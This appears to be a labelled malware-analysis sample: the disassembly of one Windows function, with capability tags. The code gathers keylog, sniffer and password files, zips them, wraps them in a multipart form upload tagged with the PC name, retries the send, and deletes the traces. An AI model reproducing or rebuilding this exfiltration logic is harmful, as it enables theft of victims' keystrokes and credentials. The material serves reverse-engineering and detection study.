Function at 0x1000df70
Capabilities:
Check if file exists
Copy file
Delete directory
Delete file
Get common file path
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
xor eax, eax
push edi
push 0x10054260
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x538]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp + 8]
push ecx
push 0x10055868
push 0x1004755c
lea edx, [ebp - 0x220]
push 0x104
push edx
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1000e6e3
mov esi, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e006
test dl, dl
je 0x1000e002
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e006
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000dfe6
xor eax, eax
jmp 0x1000e00b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e04a
mov ecx, 0x1004779c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e036
test dl, dl
je 0x1000e032
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e036
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e016
xor eax, eax
jmp 0x1000e03b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e04a
lea eax, [ebp - 0x220]
call fcn.10005d40
mov ecx, 0x1004779c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e071
test dl, dl
je 0x1000e06d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e071
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e051
xor eax, eax
jmp 0x1000e076
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e267
xor eax, eax
mov cl, byte [ebp + eax - 0x220]
mov byte [ebp + eax - 0x118], cl
inc eax
test cl, cl
jne 0x1000e080
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea ecx, [ebp - 0x118]
push ecx
call esi
lea eax, [ebp - 0x118]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000e0b0
mov edx, dword [str.keylog.txt]
mov ecx, dword [0x1004809c]
mov dword [eax], edx
mov dx, word [0x100480a0]
mov dword [eax + 4], ecx
mov cl, byte [0x100480a2]
mov word [eax + 8], dx
lea edx, [ebp - 0x328]
push edx
push 0
push 0
push 0x1a
push 0
mov byte [eax + 0xa], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x328]
push eax
call esi
mov eax, 0x10056df0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000e102
lea edi, [ebp - 0x328]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e114
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x328]
push edx
call ebx
xor eax, eax
jmp 0x1000e150
mov cl, byte [ebp + eax - 0x220]
mov byte [ebp + eax - 0x118], cl
inc eax
test cl, cl
jne 0x1000e150
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x118]
push eax
call esi
lea eax, [ebp - 0x118]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000e180
mov ecx, dword [str.sniff.log]
mov edx, dword [0x100480a8]
mov dword [eax], ecx
mov cx, word [0x100480ac]
mov dword [eax + 4], edx
lea edx, [ebp - 0x328]
push edx
push 0
push 0
push 0x1a
push 0
mov word [eax + 8], cx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x328]
push eax
call esi
mov eax, 0x10057714
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000e1d0
lea edi, [ebp - 0x328]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e1e2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x328]
push edx
call ebx
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x220]
mov byte [ebp + eax - 0x118], cl
inc eax
test cl, cl
jne 0x1000e210
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x118]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000e237
mov ecx, dword [str.passwords.txt]
mov edx, dword [0x100480b4]
mov esi, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [0x100480b8]
mov dword [eax + 4], edx
mov dx, word [0x100480bc]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov ecx, str.DEBUG
mov eax, esi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e290
test dl, dl
je 0x1000e28c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e290
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e270
xor eax, eax
jmp 0x1000e295
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e2e5
mov ecx, 0x1004779c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e2c0
test dl, dl
je 0x1000e2bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e2c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e2a0
xor eax, eax
jmp 0x1000e2c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e2e5
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10055868
push str._s_u.zip
lea edx, [ebp - 0x430]
push 0x104
push edx
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1000e6e3
push 0x104
lea eax, [ebp - 0x220]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x430]
push ecx
call fcn.100241b0
mov edi, eax
test edi, edi
je 0x1000e35c
push 0
push esi
push edi
call fcn.10024330
call fcn.100242b0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x220]
push edx
call fcn.100072b0
push 0
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x430]
push edx
call fcn.10007510
mov dword [ebp - 4], eax
test eax, eax
je 0x1000e6e3
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e3b0
sub eax, edx
xor ebx, ebx
add eax, 0x1000
je 0x1000e3e9
lea esi, [eax + 0x13]
mov eax, dword [0x10054278]
and esi, 0xfffffff0
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000e3e9
push esi
push 0
push ebx
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x1000e6e3
mov ecx, 7
mov esi, str._____________________________
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, 0x10055760
movsw word es:[edi], word [esi]
mov esi, eax
jmp 0x1000e410
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e410
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e420
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000e440
mov cx, word [0x1004729c]
mov word [eax], cx
mov dl, byte [0x1004729e]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000e460
mov eax, dword [ebp + 0xc]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_pcname__r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, eax
jmp 0x1000e480
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e480
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e490
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000e4b0
mov ax, word [0x10048120]
push 1
mov word [edi], ax
call fcn.100036b0
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e4d0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e4e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000e500
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10055760
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x1000e520
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e520
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e530
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000e550
mov cx, word [0x1004729c]
mov word [eax], cx
mov dl, byte [0x1004729e]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000e570
mov ecx, 0x10
mov esi, str.Content_Disposition:_form_data__name_file___filename_report__r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000e588
mov eax, dword [ebp - 4]
mov ecx, 7
mov esi, str.Content_Type:_text_plain_r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e5a2
sub eax, esi
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e5b0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000e5d0
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10055760
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x1000e5f0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e5f0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000e600
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000e620
mov ecx, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [eax], ecx
mov dl, byte [0x100481b0]
mov byte [eax + 4], dl
xor esi, esi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000e646
sub eax, edx
push ebx
call fcn.1000de00
test eax, eax
jne 0x1000e668
push 0x15f90
call edi
inc esi
cmp esi, 5
jl 0x1000e641
jmp 0x1000e66f
mov dword [ebp - 0xc], 1
mov esi, dword [ebp + 0xc]
mov edx, str.DEBUG
mov ecx, esi
lea esp, [esp]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1000e6a0
test al, al
je 0x1000e69c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1000e6a0
add ecx, 2
add edx, 2
test al, al
jne 0x1000e680
xor eax, eax
jmp 0x1000e6a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e6e3
mov ecx, 0x1004779c
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000e6d0
test dl, dl
je 0x1000e6cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000e6d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000e6b0
xor eax, eax
jmp 0x1000e6d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e6e3
call fcn.10003a90
call fcn.100202f0
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x430]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000e71d
push 0
lea edx, [ebp - 0x430]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x1000e74c
mov ecx, dword [0x10054278]
push ebx
push 0
push ecx
call esi
test eax, eax
je 0x1000e74c
mov edx, dword [0x10054278]
push ebx
push 0
push edx
call edi
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000e76e
mov eax, dword [0x10054278]
push ebx
push 0
push eax
call esi
test eax, eax
je 0x1000e76e
mov ecx, dword [0x10054278]
push ebx
push 0
push ecx
call edi
push 0x10054260
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8